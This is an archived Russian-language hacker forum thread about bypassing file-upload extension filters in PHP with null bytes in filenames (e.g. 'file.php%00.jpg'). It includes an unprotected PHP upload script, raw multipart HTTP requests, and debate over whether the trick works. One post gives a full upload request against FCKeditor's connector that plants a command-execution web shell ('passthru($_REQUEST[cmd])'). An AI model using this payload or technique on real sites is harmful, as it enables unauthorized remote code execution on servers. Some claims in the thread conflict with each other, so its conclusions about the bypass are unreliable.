PDA

Просмотр полной версии : %00 -> %2500, при аплоаде


wolmer
10.11.2009, 18:26
Почему при загрузке (что в линукс что в виндувс), частичка имени файла преобразуется в %2500 (у меня так)(а было %00) ? (ручным аплоадом делал (т.е. вручную снифал и отправлял пакеты на загрузку))
Отправлял пакеты с помощью HTTPREQ (пробывал и InetCrack'ом отправлять, все тоже самое)

Помогите собственно с ответом (сабж заслуживает отдельной темы, так как в "Вопросах о уязв." мне не помогли)

Root-access
10.11.2009, 18:33
Что-то мне других возможностей и не представляется, кроме функции urlencode или аналогичных ей. Там точно нет никакой обработки в коде? Может просмотрел чего? Выложи код.

wolmer
10.11.2009, 18:35
Что-то мне других возможностей и не представляется, кроме функции urlencode или аналогичных ей. Там точно нет никакой обработки в коде? Может просмотрел чего? Выложи код.
<html>
<head>
<title>Загрузка файлов на сервер</title>
</head>
<body>
<h2><p><b> Форма для загрузки файлов </b></p></h2>
<form method="post" enctype="multipart/form-data">
<input type="file" name="filename"><br>
<input type="submit" value="Загрузить"><br>
</form>
<?php
if($_FILES["filename"]["size"] > 1024*3*1024)
{
echo ("Размер файла превышает три мегабайта");
exit;
}
if(copy($_FILES["filename"]["tmp_name"],
"/home/user/data/www/site.ru/".$_FILES["filename"]["name"]))
{
echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($_FILES["filename"]["name"]);
echo("<br>Размер файла: ");
echo($_FILES["filename"]["size"]);
echo("<br>Каталог для загрузки: ");
echo($_FILES["filename"]["tmp_name"]);
echo("<br>Тип файла: ");
echo($_FILES["filename"]["type"]);
} else {
echo("Ошибка загрузки файла");
}
?>
</body>
</html>

wix
11.11.2009, 02:19
$_FILES["filename"]["name"] => urldecode($_FILES["filename"]["name"])

и пропадут неведомые %20 и т.д.

wolmer
11.11.2009, 13:53
$_FILES["filename"]["name"] => urldecode($_FILES["filename"]["name"])

и пропадут неведомые %20 и т.д.
Т.е. так вот на ровном месте нельзя отрубить нулл байтом конец? (без urldecode) :mad:

(Dm)
17.11.2009, 05:29
Ап! Все еще нужен ответ! (но теперь на #5 пост)

При передаче в названии файла %00, у меня так и остается %00.

Но при передачи параметров методом GET, POST, php декодирует url закодированные символы, например %00 => null byte; %27 => '

1. В случае с обычными POST запросами, используется метод:
application/x-www-form-urlencoded
Он означает что данные передаются url кодированными, поэтому php их декодирует.

2. В случае загрузки файлов, используется метод:
multipart/form-data
Он означает что передаются бинарные данные, соотвественно эти данные не будут url декодированными и %00, так и останется %00

Как передать null byte, не знаю и возможно ли?

Pashkela
17.11.2009, 05:47
у меня ничего не преобразутся, тестил и %00 в середине имени файла, и в конце имени, и с magic_quotes=ON, и OFF - результат всегда один - как назвал, так и заливается, без изменений, ось Linux

Для загрузки использовался код автора темы

PS: Автор, выложи свой phpinfo

Как передать null byte, не знаю и возможно ли?

Скорее всего никак, если в коде нет последующей "неаккуратной" обработки имени файла после загрузки, которое иногда встречается, например, когда проверяют, картинка ли файл

wolmer
21.11.2009, 01:09
у меня ничего не преобразутся, тестил и %00 в середине имени файла, и в конце имени, и с magic_quotes=ON, и OFF - результат всегда один - как назвал, так и заливается, без изменений, ось Linux

Для загрузки использовался код автора темы

PS: Автор, выложи свой phpinfo



Скорее всего никак, если в коде нет последующей "неаккуратной" обработки имени файла после загрузки, которое иногда встречается, например, когда проверяют, картинка ли файл
phpinfo:http://dump.ru/file/3779897

Pashkela
21.11.2009, 01:17
не, никак, а то что было ночью, унесли в РОА. Вот так-то, спать меньше надо :)

Iceangel_: аяяяй, злые роавцы, все себе в группу тащут... (((
Никто ничего никуда не переносил, опять у тебя паранойя =(

[53x]Shadow
23.11.2009, 03:00
Вообще, тема с передачей нулл байта через имя файла в глобальном массиве $_FILES очень интересна, например, мне не удалось сделать это ни разу передачей %00 или \0, \х00 и т.д. ни через имя файла, ни через тампер дату и перехват пакета HTTP.
Видимо это действительно связано с
2. В случае загрузки файлов, используется метод:
multipart/form-data
Он означает что передаются бинарные данные, соотвественно эти данные не будут url декодированными и %00, так и останется %00

Ранее где-то проходила информация, что это возможно и на основе этого были вроде даже баги каких-то двигов...
В частности, в статье Минаева "Роковые ошибки php" https://forum.antichat.ru/thread54355.html упоминается такой метод обхода
На первый взгляд вполне логично , что файл с именем file.jpg.php не пройдет проверку , однако попробуем вставить null bute в имя файла и
в конечном виде получится чтото вроде my_data.php%00.jpg . Удачная попытка и наш файл залить с именем my_data.php .
который будет работать только в результате дополнительного преобразования через urldecode($_FILES['userfile']['name']).

Я могу лишь предположить, что данная уязвимость успешно работала на старых версиях ПХП, когда массива $_FILES не было, а использовался $HTTP_POST_FILES.

Scipio
23.11.2009, 10:49
например при перехватке и редактировании запроса с помощью Tamper Data, после подстановки в конец файла %00 я нажимаю кнопку раскодировать, после этой операции передается именно null байт, а не %00. Да и кстати, в таком случае бага реально работает)

(Dm)
24.11.2009, 01:13
например при перехватке и редактировании запроса с помощью Tamper Data, после подстановки в конец файла %00 я нажимаю кнопку раскодировать, после этой операции передается именно null байт, а не %00. Да и кстати, в таком случае бага реально работает)
Ты ошибаешься, я тоже так раньше думал. Дело в том что, если передать в любой переменной не закодированный null byte, то при объявлении этой переменной PHP просто обрежет её и null byte в переменную не попадет.

Пример:
PHP без Suhosin, magic_quotes не имело значения

Скрипт up.php:
<?php
if (!empty($_FILES["filename"]["tmp_name"])) {
echo "Имя файла: ".$_FILES["filename"]["name"]."<br>";
}
?>

Запроc:
POST /up.php HTTP/1.1
Host: ads
User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------20312184921287927343357872452
Content-Length: 248

-----------------------------20312184921287927343357872452
Content-Disposition: form-data; name="filename"; filename="thistest.php�.jpg"
Content-Type: application/octet-stream

test
-----------------------------20312184921287927343357872452--


Ответ:
HTTP/1.1 200 OK
Date: Mon, 23 Nov 2009 21:03:10 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.1
Vary: Accept-Encoding
Content-Length: 35
Connection: close
Content-Type: text/html; charset=cp2151

Имя файла: thistest.php

Как видно имя файла без null byte'a

[53x]Shadow
24.11.2009, 02:04
Ты ошибаешься, я тоже так раньше думал. Дело в том что, если передать в любой переменной не закодированный null byte, то при объявлении этой переменной PHP просто обрежет её и null byte в переменную не попадет.


+1
Тоже проверил - просто обрезает.

в таком случае бага реально работает
Как минимум для приведенного в статье скрипта, точно не работает.
ЗЫ
Тема открыта.

wolmer
24.11.2009, 08:17
(Dm), все таки не могу понять как у тебя получилось обрезать если:
Content-Type: multipart/form-data;
(т.е. %00 оставляет -> %00 (т.е. не преобр. в нулл байт))

Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?)
Но я не представляю как будет выглядеть символ нулл байта

Подправьте меня если я ошибся

(Dm)
24.11.2009, 08:26
(Dm), все таки не могу понять как у тебя получилось обрезать если:
Content-Type: multipart/form-data;
(т.е. %00 оставляет -> %00 (т.е. не преобр. в нулл байт))

Если передать null byte в переменной, то что стоит после null byte откинется в этой переменной, для обхода фильтров, проверок - это никак не поможет.

Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?)

Да.

Но я не представляю как будет выглядеть символ нулл байта

Подправьте меня если я ошибся
null byte - никак не выглядит, нет такого символа) это нулевой код 0x00. Обычно при выводе отображается как �

SQLHACK
24.11.2009, 12:37
ребята , вы че:???
все так и работает, обход ereg/eregi при аплоаде
Причем дата тампер работает в этом случае прикрасно у меня

то есть жмешь раскодить все спец символы превращаются в %xx вот и вставляешь %00 туда, и все гуд.


вы кстати проверьте то что режется как вы говорите, на strlen , так как нул байт может проссто не отображать ваши тулзы при дампе

[53x]Shadow
24.11.2009, 23:30
вы кстати проверьте то что режется как вы говорите, на strlen , так как нул байт может проссто не отображать ваши тулзы при дампе
Такой вариант проверки устроит:
echo $_FILES['uploadedfile']['name'];
echo strlen($_FILES['uploadedfile']['name']);
вывод после передачи 1.php%00.gif и раскодирования в тампер дате:
1.php
5

smc
26.03.2010, 02:47
Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?)
Но я не представляю как будет выглядеть символ нулл байта

Вопрос к Wolmer и (DM).
если я правильно понял, то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске). а каким методом вы это осуществляете? с клавиатуры вроде не введешь, а перименовать в имя содержащее null char с помощью php или к примеру С вроде нельзя... ?

shell_c0de
26.03.2010, 11:27
2smc нуллбайт вставляется в пакете в названии файла,
скачай inetcrack и попробуй вариации (например таким способом можно было обходит с нуллбайтом в FCKeditor)
пример пакета

POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.0
Accept: */*
Content-Type: multipart/form-data;
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: site.com
Content-Length: 234
Connection: Close
Pragma: no-cache
Content-Disposition: form-data; name="NewFile"; filename="test.php%00.gif"
Content-Type: text/plain

<? passthru($_REQUEST[cmd]); ?>

попугай
26.03.2010, 13:29
Вопрос к Wolmer и (DM).
если я правильно понял, то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске). а каким методом вы это осуществляете? с клавиатуры вроде не введешь, а перименовать в имя содержащее null char с помощью php или к примеру С вроде нельзя... ?



можно. "\x00"

wolmer
27.03.2010, 01:13
то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске)
если в имени файла (который расположен на жест. диске) вставить в прямом смысле %00 то тогда при передаче файла, имя файла будет иметь %2500 (в хеддерах)

т.е. передаем
file_name.php%2500.jpg
Сервер обрабатывает строку (переводит HEX значения в символы)
После обработки получается что сервер сохр. файл на сервере под именем:
file_name.php%00.jpg

Поэтому берем какой нибуть сендер и вручную правим имя файла (т.е. чтобы было не %2500 (при отправке) а %00 (т.е. чтобы сам нулл байт, принимал сервер а не что либо другое))

получается примерно так:
передаем
file_name.php%00.jpg
Сервер обрабатывает строку...
После обработки получается что сервер сохр. файл на сервере под именем:
file_name.php

Т.е. сработал наш нулл байт (при условии что сервер будет принимать content-type: application/x-www-form-urlencoded)

smc
27.03.2010, 04:43
wolmer. именно то, что меня и интересовало. спсб за разъяснения. освоил tamper data - все работает